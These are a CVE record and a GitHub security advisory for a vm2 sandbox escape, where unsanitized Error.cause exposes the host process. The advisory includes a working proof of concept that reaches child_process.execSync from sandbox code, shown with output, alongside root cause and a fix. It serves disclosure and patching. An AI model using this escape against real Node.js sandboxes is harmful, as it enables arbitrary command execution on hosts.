{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.11.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, handleException() in lib/setup-sandbox.js sanitizes SuppressedError.error, SuppressedError.suppressed, and AggregateError.errors but does not sanitize Error.cause, allowing sandbox code to obtain a powerful host object such as process from an embedder-exposed host function that throws an error with that object as its cause and then execute arbitrary host commands. This issue is fixed in version 3.11.6."
    }
  ],
  "id": "CVE-2026-47686",
  "lastModified": "2026-08-17T21:16:45.507",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-17T21:16:45.507",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/commit/7e3faaf550f4ab975bf4cdde183fcec49b056d8e"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-693"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47686"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:32:34Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "**Affected:** vm2 \u003c= 3.11.3\n**CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n**CWE:** CWE-693 (Protection Mechanism Failure)\n**Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`)\n\n## Summary\n\nI found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host.\n\nThe project\u0027s own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.\n\n## Root Cause\n\nThe `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`.\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== \u0027object\u0027 \u0026\u0026 typeof e !== \u0027function\u0027)) return e;\n    // ... cycle detection ...\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);      // sanitized\n            e.suppressed = handleException(e.suppressed, visited); // sanitized\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            // sanitizes e.errors[] ...\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e; // .cause is NEVER checked\n}\n```\n\nError.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked.\n\n## Affected Code\n\n- `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling)\n- `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause`\n- `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered\n\n## Reproduction\n\nEmbedder code that exposes a function throwing with `.cause` set to `process`:\n\n```javascript\nconst { VM } = require(\u0027vm2\u0027);\n\nconst vm = new VM({\n    sandbox: {\n        hostFn: () =\u003e {\n            throw new Error(\u0027fail\u0027, { cause: process });\n        }\n    }\n});\n\nconst result = vm.run(`\n    try {\n        hostFn();\n    } catch (e) {\n        // .cause is not sanitized, so we get a direct reference to host process\n        const proc = e.cause;\n        proc.mainModule.require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString();\n    }\n`);\n\nconsole.log(result);\n```\n\nVerified output:\n\n```\nuid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\n```\n\nFull RCE confirmed.\n\n## Impact\n\nAny application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains:\n\n- Full host process access (read/write files, spawn processes, network access)\n- Sandbox escape with changed scope (CVSS S:C)\n- No user interaction required\n\nThe prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error(\u0027msg\u0027, { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.\n\n## Suggested Fix\n\nAdd `.cause` sanitization before the prototype-chain walk, so it applies to all error types:\n\n```javascript\nfunction handleException(e, visited) {\n    e = ensureThis(e);\n    if (e === null || (typeof e !== \u0027object\u0027 \u0026\u0026 typeof e !== \u0027function\u0027)) return e;\n    if (!visited) visited = new LocalWeakMap();\n    if (apply(localWeakMapGet, visited, [e])) return e;\n    apply(localWeakMapSet, visited, [e, true]);\n\n    // Sanitize .cause on ALL errors (ES2022)\n    try {\n        if (\u0027cause\u0027 in e) {\n            e.cause = handleException(e.cause, visited);\n        }\n    } catch (ex) { /* best effort */ }\n\n    let proto = localReflectGetPrototypeOf(e);\n    while (proto !== null) {\n        if (proto === localSuppressedErrorProto) {\n            e.error = handleException(e.error, visited);\n            e.suppressed = handleException(e.suppressed, visited);\n            return e;\n        }\n        if (proto === localAggregateErrorProto) {\n            if (localArrayIsArray(e.errors)) {\n                for (let i = 0; i \u003c e.errors.length; i++) {\n                    e.errors[i] = handleException(e.errors[i], visited);\n                }\n            }\n            return e;\n        }\n        proto = localReflectGetPrototypeOf(proto);\n    }\n    return e;\n}\n```\n\n`docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships.\n\n## Artifacts\n\n| File | Role |\n|------|------|\n| `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` |\n[poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)",
  "id": "GHSA-m283-3h24-438v",
  "modified": "2026-08-17T17:32:34Z",
  "published": "2026-08-17T17:32:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE"
}